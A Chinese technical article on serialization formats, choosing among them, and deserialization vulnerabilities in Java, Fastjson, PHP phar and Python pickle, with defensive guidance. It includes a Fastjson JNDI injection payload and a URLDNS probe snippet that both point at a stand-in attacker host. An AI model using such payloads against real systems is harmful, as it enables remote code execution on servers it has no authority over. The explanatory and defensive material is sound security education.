1. 为什么需要序列化:从一次跨服务调用说起
先看一个实际场景。你的服务 A 要用 HTTP 调用服务 B,传递一个订单对象,里面嵌套了用户信息、商品列表、优惠券计算规则。你不可能直接把内存里的那个 Java/Python 对象塞进 HTTP 请求体——服务 B 的进程里没有这个对象的地址,它需要的是能够重建这个对象的数据。这个"内存对象→可传输/可存储的字节序列"的过程就是序列化,反向过程就是反序列化。
很多人第一天学序列化觉得这个概念抽象,其实它无处不在:Redis 缓存存的 value 是字节数组,你set进去的对象要被序列化;消息队列 Kafka 里飘的是一条条字节消息;数据库里 JSON 字段本质也是一种序列化形式;甚至你浏览器里 localStorage 存 JSON.stringify 后的数据,都是在做序列化。可以说,只要数据要跨进程、跨语言、跨网络、跨时间(持久化)传递,序列化就是绕不开的一环。
热词里提到的"springboot4.0.3版本的消息序列化处理""fastjson序列化""phar反序列化"都指向同一个核心:一旦序列化/反序列化不正确,轻则数据错乱、性能崩塌,重则被攻击者利用实现远程代码执行。所以这篇文章不打算只讲概念,而是把序列化的底层原理、主流方案的选型逻辑、以及反序列化漏洞到底怎么发生的,一次讲透。适合后端开发、中间件使用者、安全方向的读者,也适合刚入行但想搞清楚"为什么 Java 对象不能直接塞进 Redis"的同学。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 序列化的内在机制:从字节流到对象图的映射规则
2.1 对象图:比"一个对象"更复杂的东西
很多人以为序列化就是把一个对象的字段按顺序写出来,太天真了。实际要处理的是一个对象图(Object Graph)。比如一个 Order 对象:
java复制public class Order {
private User user;
private List<OrderItem> items;
private Coupon coupon;
private OrderStatus status;
}
User 里可能又持有 Address,OrderItem 里又持有 Sku,Sku 里可能还有 Product、Supplier……这些对象引用关系交织成一张网。序列化框架要做的事,是把这张网遍历一遍,把每个对象的类型、字段名、字段值、以及对象之间的引用关系全部记录下来。反序列化时才能从零重建这张网。
这里有个经典问题:循环引用。比如 User 对象里面有个字段 lastOrder 指向 Order,而 Order.user 又指回 User。如果序列化器不处理循环引用,就会无限递归下去,直接栈溢出。不同框架的处理方式不一样:Java 原生序列化通过"引用句柄"机制,为每个对象分配一个序号,后面遇到同一个对象只写引用编号;JSON 类的序列化(如 Jackson、Gson、Fastjson)默认不支持循环引用,需要特殊注解或配置,否则会抛异常或无限递归。
2.2 类型信息:序列化格式的分水岭
序列化结果里到底带不带类型信息,是不同格式最本质的差异,它决定了安全性、性能和跨语言能力。
带了丰富类型信息的格式:Java 原生序列化(Serializable)、Python 的 pickle、PHP 的 serialize。这类格式的字节流里会写入完整的类名、字段名、字段类型。好处是反序列化时能精确还原原来的对象类型,无需额外约定;坏处是反序列化方会无条件信任字节流里的类型信息,这就为反序列化漏洞埋下了根源。Java 原生序列化的一个典型序列化结果片段类似:
code复制AC ED 00 05 73 72 00 11 ...
最前面是魔数 AC ED,之后是类描述符、字段描述符,全是二进制协议,跨语言基本没戏。
不带或只带少量类型信息的格式:JSON、XML、MessagePack、Protobuf。JSON 只有字符串、数字、布尔、数组、对象这些基础类型,没有自定义类名。反序列化时需要你显式告诉它"转成哪个类"。Protobuf 更狠,它用字段编号代替字段名,用了二进制编码,性能和体积都很好,但需要先写 .proto 文件生成代码,类型信息靠编译期保证,运行期不传类名。这是它安全性远高于 Java 原生序列化的原因之一。
为什么这个差异是安全分水岭? 我举个例子你就明白了。Java 原生反序列化时,ObjectInputStream 读到字节流里的 org.example.EvilObject,它就真的去加载这个类并执行其 readObject 方法。如果攻击者能控制字节流内容,就能诱导服务端加载攻击者指定的类,构造出任意对象图,触发危险方法链,最终执行系统命令。JSON 反序列化没有这个问题吗?也有,但机制不同——Fastjson 的特色功能"自动类型",允许 JSON 里带 @type 字段指定类名,这就相当于把类型信息塞回了 JSON 里,于是 fastjson 反序列化漏洞成为历史级难题。不是"带类型信息"本身错误,而是"无条件信任远端传来的类型信息"错误。
2.3 序列化时到底发生了什么:字段、继承、transient
以 Java 为例,当一个对象被序列化时,JVM 会做这几件事:
- 检查类是否实现了
java.io.Serializable,没实现直接抛NotSerializableException。 - 递归遍历对象图,为每个对象生成句柄(引用编号),写入类描述(类名、serialVersionUID、字段元数据)。
- 写入字段值,遇到
transient修饰的字段直接跳过,遇到static字段也跳过(静态字段属于类,不属于实例)。 - 如果类自定义了
writeObject()方法,则调用它替代默认流程,这是很多敏感信息过滤的切入点。
反序列化是反过来的过程:读类描述 → 加载类 → 创建实例(但不调用构造函数!)→ 用反射填充字段值 → 如果类自定义了 readObject(),调用它。
这里有个很多初级开发不知道的细节:反序列化创建对象时不会调用构造函数。这意味着构造方法里的参数校验、字段初始化逻辑全部被绕过。一个在设计时依赖构造方法保证"用户名非空"的类,反序列化时可以被填充一个 userName=null 的实例。这也是为什么很多安全防御建议在 readObject 里重新做校验。这条知识在排查"为什么我的字段是 null"这类问题时非常有用。
3. 主流序列化方案的选型逻辑:不只是对比性能数字
3.1 一张稳定性优先的选型表格
网上很多文章喜欢堆一堆性能测试数字,说实话意义不大,因为压测场景和真实业务差异太大。我更建议从以下几个维度做筛选:跨语言能力、可读性、安全性、生态成熟度、体积与速度。下面这张表是我在实际项目里做技术选型时对照用的:
| 格式 | 跨语言 | 可读性 | 类型信息 | 安全风险 | 典型场景 |
|---|---|---|---|---|---|
| Java 原生序列化 | 仅Java | 二进制,不可读 | 完整类名+字段 | 高(readObject gadget链) | RMI、JMS、HttpSession等老协议 |
| JSON(Jackson/Gson) | 极好 | 好 | 默认不带,可配置w/ @type | 中(需注意多态配置) | REST API、缓存、日志 |
| Fastjson | 好 | 好 | 支持 @type 自动类型 | 高(历史漏洞多) | 国内早期大量使用的JSON库 |
| XML(XStream) | 好 | 好 | 支持别名/类名 | 高(XStream历史RCE) | 涉及XML的遗留系统 |
| Protobuf | 极好 | 二进制,不可读 | 不传类名,靠IDL | 低(严格模式无类型混淆) | RPC框架(gRPC)、微服务内部调用 |
| MessagePack | 好 | 二进制,不可读 | 基础类型,无类名 | 低 | 对体积敏感的JSON替代 |
| Hessian | 跨语言较好 | 二进制 | 携带类型名 | 中 | Dubbo部分版本默认协议 |
| PHP serialize | 几乎仅PHP | 文本可读 | 完整类名+属性 | 高(phar反序列化) | PHP原生session、缓存、对象传递 |
3.2 选型判断:首先回答"这数据要活多久"
我选序列化方案,第一件事不是比较性能,而是问:这份数据要活多久?在什么范围内流转?
如果是进程内临时传输,比如同一服务的线程间传递,根本不用序列化,直接传引用就行。如果是跨语言、跨服务、长期演进,比如微服务 A(Java)调微服务 B(Go),优先 Protobuf。因为 JSON 虽然人 readable,但字段演进全靠双方自觉,没有 .proto 这种契约文件约束,改字段名很容易默默出错。Protobuf 的好处在于字段编号一旦分配就不变,添加新字段老客户端完全无感,这叫做兼容性设计。我们在实际工程里踩过坑:一个更新订单接口,Java 服务新增了一个字段,Go 服务那边因为用的是旧 .proto 编译的代码,新字段不会出现在二进制数据里,但也不会报错——这种静默行为在 JSON 接口里几乎不可能,因为 JSON 是动态解析的,老代码看到新字段一样能跳过。所以 Protobuf 的"强类型"在多人协作的长期项目里是巨大的优势。
如果是浏览器到后端,JSON 是唯一合理选择,因为浏览器没有 Protobuf 原生支持(需要引入 JS 库),而且 URL 里传 JSON 也好调试。如果是缓存数据,Redis + JSON 就很好,但要注意大对象序列化性能,可以考虑 MessagePack 这类二进制 JSON 替代方案,体积能小 30% 左右,但代价是排查问题时不能直接用 redis-cli get 查看。如果是session 持久化,千万不要用 Java 原生序列化,原因后面安全章节会讲。
3.3 一个容易踩坑的细节:serialVersionUID
Java 原生序列化里有个隐形的兼容性大坑:serialVersionUID。JVM 反序列化时,会比对序列化时写入的 serialVersionUID 和当前类的 serialVersionUID,不一致直接抛 InvalidClassException。如果你在类上没显式声明这个字段,JVM 会根据类名、接口、字段、方法签名等自动计算一个默认值。问题在于,只要类结构有任何一点变化——加一个字段、改一个方法名、挪一下包路径——自动计算的 UID 就会变,导致老数据全部无法反序列化。
我在一个老项目里就遇到过:上线前改了一个 VO 的字段名,结果 Redis 里所有旧 session 全部失效,用户全部被踢下线。当时的教训是:凡是可能被持久化的类,一律显式声明 serialVersionUID,例如:
java复制public class UserVO implements Serializable {
private static final long serialVersionUID = 1L;
// ...
}
手动写死 UID 后,加字段能兼容(新增字段会被置为默认值),改字段名就彻底不兼容了(字段名是序列化数据的一部分)。所以升级 DTO/VO 时,要记住这条规则:可以增字段,不要改/删已有字段。
4. 反序列化漏洞:原理拆解与真实攻击链还原
4.1 为什么反序列化漏洞如此致命
反序列化漏洞之所以在安全界地位极高,是因为它的攻击面广、利用门槛可以极低、危害可以直接到 RCE(远程代码执行)。原理一句话概括:反序列化过程会执行从输入流中恢复出来的对象的代码路径。 攻击者构造一段恶意字节流,其中包含的类、方法、参数值都是精心设计的,服务端反序列化时,就会按照字节流里的"指令"一步步执行危险操作。
这和 SQL 注入有本质区别。SQL 注入是输入数据被拼进 SQL 语句后执行,我们直觉上能理解;但反序列化攻击是连执行路径本身都是攻击者定义的——服务端不是"错误地执行了恶意代码",而是"忠实地执行了协议里允许的所有步骤"。这就好比你把保险柜密码告诉了一个快递员,快递员老老实实打开保险柜把文件放进去了,但文件本身是炸弹。
4.2 Java:HashMap + URLDNS 的触发链路
我以 Java 原生反序列化的经典检测链 URLDNS 为例,拆解一个完整的利用链条。这条链常被用来探测目标是否存在反序列化漏洞,因为它不执行命令,只发起一次 DNS 查询,安全可靠:
java复制HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://attacker.example.com");
// 关键:反射设置 URL 的 hashCode 为 -1,让 put 时不触发 DNS
// 序列化后,反序列化时会重新计算 hashCode,触发 DNS 解析
hashMap.put(url, 1);
序列化时 HashMap 里的 key 是 URL 对象,它的 hashCode 方法会发起 DNS 查询。攻击者把序列化后的字节流发给目标服务,目标服务执行 ObjectInputStream.readObject(),内部会重建 HashMap,遍历 entries,计算每个 key 的 hashCode——然后 URL 对象的 hashCode 触发 getHostAddress() 解析。DNS 服务器收到来自目标服务器的解析请求,攻击者就能确认目标存在 Java 反序列化。
这只是探测。真正要 RCE,需要找一条"魔法方法触发危险操作"的完整链(gadget chain),典型的有 CommonsCollections 系列。核心思路是:readObject() 里会调用某个类的某个方法,这个方法又调用了另一个类的方法……逐步推进到 Runtime.exec() 或 ProcessBuilder 执行系统命令。Apache Commons Collections 库里有大量类可被串联成这样的链,所以安全团队经常建议:升级或移除老的 commons-collections 版本。
4.3 Fastjson:autoType 机制带来的连锁灾难
再来看 Fastjson。Fastjson 有一个特色功能:JSON 字符串里可以带 @type 字段指定要反序列化的类。比如:
json复制{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.example.com/Evil", "autoCommit": true}
Fastjson 看到 @type 就会加载这个类,设置对应属性。JdbcRowSetImpl 这个类的 setter 里,设置 autoCommit 时会触发 JNDI 查询,而 JNDI 查询可以指向攻击者控制的 LDAP 服务器,LDAP 服务器可以返回恶意类,目标 JVM 远程加载恶意类并执行静态代码块。这就是著名的"JNDI 注入 + Fastjson 反序列化"攻击路径。
Fastjson 的历史漏洞非常多,从 1.2.24 一路漏到 1.2.83,官方一次次加黑名单,攻击者一次次绕过——因为黑名单的思路本身就有天花板,只要还有可用的类不在黑名单里,就能绕过。这也是为什么后来的 Fastjson 版本默认关闭 autoType,新项目也基本不再推荐用 Fastjson 的原因。我们团队在做安全评审时,对老项目的要求就一条:能换 JSON 库就换掉,不能换就把 autoType 彻底关掉,并升级到最新补丁。
4.4 PHP:phar 反序列化的隐蔽触发点
PHP 语言的 phar 反序列化是另一个典型,而且它的触发方式特别隐蔽。很多人以为反序列化必须调用 unserialize() 函数才会发生——其实不然。在 PHP 中,只要执行 file_exists()、file_get_contents()、is_file() 等文件操作函数,并且传入的路径是 phar:// 协议,PHP 就会自动对 .phar 文件内的 meta-data 进行反序列化。
这是一个非常有意思的攻击场景:攻击者把构造好的 phar 文件上传到服务器某个目录(比如图片上传功能,伪装成图片),然后诱导另一个功能(比如 file_exists($_GET['path']) )去访问这个 phar 路径。文件操作函数本身是安全的,但 phar 协议让它变成了反序列化入口。 这个隐蔽点导致很多团队以为自己没有反序列化暴露面,实际上文件读取接口就可以被打。
Pikachu 靶场里就有专门的反序列化漏洞练习模块,包括 PHP 和 Java 两种实现,很适合学习漏洞原理,但注意只能在本地靶场环境中练习,不要对未授权目标做任何测试。
4.5 Python pickle 与 .NET 反序列化
Python 的 pickle 模块设计上更直白:pickle 协议本身就是一个完整的栈虚拟机指令集,反序列化时可以直接执行任意函数调用。官方文档早就警告过:不要反序列化不可信数据。pickle.loads 输入的攻击载荷里可以直接包含 os.system 调用,根本不需要绕什么 gadget。所以 Python 服务的反序列化入口(比如 redis 的 pickle 存储、分布式计算框架的参数传递)必须严格限制来源。.NET 的 BinaryFormatter 同理,微软官方后来直接将其标记为过时,因为它的攻击面太大了。
5. 防御实践:从基础配置到纵深防御的心法
5.1 第一道防线:能不用就不用,能简化就简化
最好的防御是减少攻击面。反序列化防御的第一步不是加固,而是盘点清理:全项目搜索 ObjectInputStream、pickle.loads、unserialize、BinaryFormatter.Deserialize 这些关键词,看哪些入口真的需要反序列化不可信数据。很多时候,某些接口接收的输入其实只需要 JSON 解析,根本不需要 Java 原生反序列化——把反序列化调用换成 JSON 解析,漏洞面直接归零。
我见过一个极端的例子:一个老系统用 Java 原生序列化存 Redis 里的购物车数据,黑客只需要往 Redis 里塞一段恶意字节流,等用户访问购物车时触发反序列化就 RCE 了。这个系统修复时把 Redis 里的数据从 Java 序列化改成了 JSON 字符串,改完漏洞面彻底消失。所以代码评审的时候,看到 writeObject/readObject 就要警觉,看到 pickle 就要问清楚数据来源。
5.2 第二道防线:白名单 vs 黑名单,永远选白名单
如果确实需要反序列化,一定用白名单校验可反序列化的类。Java 的 ObjectInputFilter(JDK 9+)可以在 ObjectInputStream 上设置过滤器:
java复制ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"java.util.*;java.lang.*;com.example.dto.*;!*"
);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.bin"));
ois.setObjectFilter(filter);
Object obj = ois.readObject();
这段过滤器的含义是:只允许 java.util、java.lang 和 com.example.dto 包下的类,其他全部拒绝。!* 表示拒绝名单之外的任何类。这个方案的关键在于白名单要尽量精确到具体的类,而不是放行整个包。比如只放行 com.example.dto.Order,而不是 com.example.*,因为包内可能有其他危险类。白名单的缺点是每次新增 DTO 都要更新过滤规则,但相比安全风险,这个成本完全可以接受。
对 Fastjson 来说,如果因为历史原因不能彻底换掉,至少要确保两点:第一,升级到已经修复大量漏洞的最新版本;第二,全局禁用 autoType 并维护一个精确的白名单:
java复制ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
ParserConfig.getGlobalInstance().addAccept("com.example.dto.");
不要用 addAccept("com.example.") 这种过宽的配置,否则等于没配。
5.3 第三道防线:校验、加密和最小化权限
除了反序列化入口本身的限制,纵深防御可以从这几个角度补:
消息签名/完整性校验。 如果数据从客户端传来,一定要对抗篡改。加一个 HMAC 签名,服务端验签后再反序列化。攻击者即使能发送恶意字节流,没有密钥也无法生成合法签名。这里有个关键的工程细节:验签必须在反序列化之前,而且要基于原始字节流验签,不能先反序列化再校验,否则攻击载荷已经在内存中被处理了。
避免把反序列化接口暴露在公网。 很多反序列化漏洞被利用成功,是因为攻击者可以直接访问到那个可控输入。如果序列化数据只在可信内网传递,攻击难度会大幅上升。但要注意,内网不等于安全——横向移动是攻防演练中的常见路径,所以这只能是纵深防御的一层,不是全部。
最小权限运行服务。 即使被 RCE,运行应用的系统账号如果是非 root,攻击者的破坏力也会受限。在容器环境里用只读文件系统、非特权用户运行服务,配合 seccomp/AppArmor 禁用危险系统调用,能有效掐断反弹 shell 等后续利用。
定期检查依赖的漏洞库。 用 OWASP Dependency-Check、Snyk 之类的工具做依赖扫描,重点盯防护库里序列化相关组件的 CVE。我个人的习惯是:每次发布前把 diff 里的新依赖手动过一遍,不是只信自动扫描——自动扫描经常漏掉一些"通过传递依赖引入"的老库。
5.4 框架级别的默认防护:Spring 4.0.3 消息序列化处理
热词里提到的"springboot4.0.3版本的消息序列化处理",其实是指 Spring 框架对消息转换器(MessageConverter)的序列化处理策略。Spring 的 MappingJackson2HttpMessageConverter 默认用的是 Jackson,这是一个相对安全的 JSON 实现。真正的问题是,有些老项目会显式配置 Kryo、FST 或 Java 原生序列化作为 HTTP 消息转换器,这在 Spring MVC 和 Dubbo 里都可能发生。Dubbo 老版本默认使用 Hessian2 序列化,某些版本存在反序列化漏洞,因此升级 Dubbo 或切换协议是常见的安全整改项。
Spring Boot 自带的消息转换器体系里,默认并不会使用 Java 原生序列化,但你可能会在 HttpMessageConverter 列表里看到 Jaxb2RootElementHttpMessageConverter(处理 XML),它基于 JAXB,如果接口接收 XML 且允许 DTD/外部实体,可能引入 XXE 风险。统一建议是:只用 JSON 消息转换器,不需要的转换器从配置里移除,并设置 Jackson 的 FAIL_ON_UNKNOWN_PROPERTIES 和类型白名单。把接口消息体严格限定在已知的 DTO 类上,多态反序列化能避免就避免。
6. 实际项目中的排错与优化经验:几个值得记录的瞬间
6.1 "为什么反序列化后字段全是 null"
这是个高频问题,多半发生在 Java 和 Kotlin 混合开发、或者 Lombok 使用的场景。排查步骤:先确认这个字段是不是 static 或 transient——这两种字段默认不参与序列化。再确认是否为构造器里设置的值,因为反序列化不执行构造函数。还有更隐蔽的:如果类里既有 getXxx 又有 isXxx,而且字段名首字母大小写不规范,JSON 库通过 getter 推断字段名时可能对不上。我建议在字段上显式加 @JsonProperty("xxx") 注解,直接锁定序列化字段名,避免推断歧义。在 Kotlin 里还遇到过:数据类默认生成 getter/setter 没问题,但如果主构造函数里某个参数没声明为 val/var,它就不会成为属性,自然也不会被序列化。
6.2 跨语言序列化字段顺序陷阱
JSON 依赖字段名解析,跨语言一般安全。但像 Protobuf、Thrift 这类基于字段编号的格式,有个经典教训:两个团队分别更新了 .proto 文件,一个把旧字段编号 3 改成了新的含义,另一个还在用旧定义——两边互相发送数据,因为编号 3 对应的字段类型/含义对不上,解析出来全是错的,而且不一定报错。所以 .proto 文件的字段编号分配要非常谨慎,宁可留空洞也不要复用一个已被删除的字段编号。这是我见过的最伤脑筋的线上问题之一:系统看起来一切正常,但有个字段的值偶尔对不上,追了一整天才发现是 proto 定义冲突。
6.3 性能优化:序列化开销往往被低估
做性能压测时,很多团队低估了序列化的 CPU 开销。在一次网关压测里,我们分析火焰图发现,JSON 序列化/反序列化居然占了 27% 的 CPU。优化路径很朴素:第一,去掉重复的 JSON 序列化,比如同一个对象在日志、缓存、响应里被序列化了三次,这是最常见的浪费;第二,用字节数组直接存储而不是 String,避免反复编解码;第三,如果能切换到 Protobuf 或二进制格式,CPU 占用通常能再降一半。但性能优化有个前提:先压测再优化,不要为了性能引入复杂度。如果 QPS 还没到瓶颈,JSON 的可维护性远超二进制协议。
还有一个小技巧:如果确定对象图里某些字段不会为 null,可以在序列化时用 writeUTF 这样更紧凑的方式存储字符串,而不是每字符串都带 length 编码。Java 里可以用 Externalizable 接口完全自定义序列化格式,替换默认的反射遍历,这在高性能场景(如自研 RPC 框架)里是常用手段,但代价是代码量显著增加,要评估值不值。
6.4 调试反序列化问题的三个实用工具
排查反序列化问题时,我常用的工具和方法:
- serialVersionUID 检查:用
serialver命令查看类的 UID,和报错信息里序列化版本里的 UID 对比,快速定位是不是类结构变了。 - 十六进制查看器:用
xxd或 IDE 的 Hex 插件看序列化后的字节流,至少能确认魔数、类名、字段名是否按预期写入。Java 原生序列化的类名是明文,一眼就能看到。 - 自定义 readObject 加日志:在关键 DTO 的
readObject里临时输出字段值日志,定位"数据哪一步丢了"。这个做法比加断点好用,因为反序列化经常发生在子线程或者异步框架里,断点不一定跟得住。
7. 一句话总结每个方案的本质
建议把这篇文章的关键判断沉淀成一张便签:
- Java 原生序列化:只在同构、可信环境中使用,RMI/RMI/HttpSession 这类老协议尽量迁走。
- JSON 系(Jackson/Gson):REST 首选,关闭多态自动类型,显式声明 DTO,生产环境谨慎用
@JsonTypeInfo。 - Fastjson:历史项目最好彻底替换,不能替换就关 autoType 并用白名单。
- XML/XStream:现在新项目不太可能主动选,遗留系统排查重点是外部攻击者能不能控制 XML 输入。
- Protobuf:跨语言 RPC 长期演进的正解,注意字段编号不可变。
- PHP serialize/phar:只要业务里出现
phar://或unserialize且数据来自不可信源,就必须做白名单校验。
我在实际项目里学到最重要的一课是:序列化不是一个"性能优化选项",而是安全边界的一部分。 任何接收不可信输入的反序列化入口,都值得在代码评审时单独拉出来过一遍,不是走流程,而是真的去看它允许哪些类、数据从哪来、被谁调用。很多公司被攻破的起点,就是某个老接口里有一行看似无辜的 ObjectInputStream。把这行代码当成潜在的突破口来对待,才算真正理解了序列化和反序列化背后的分量。
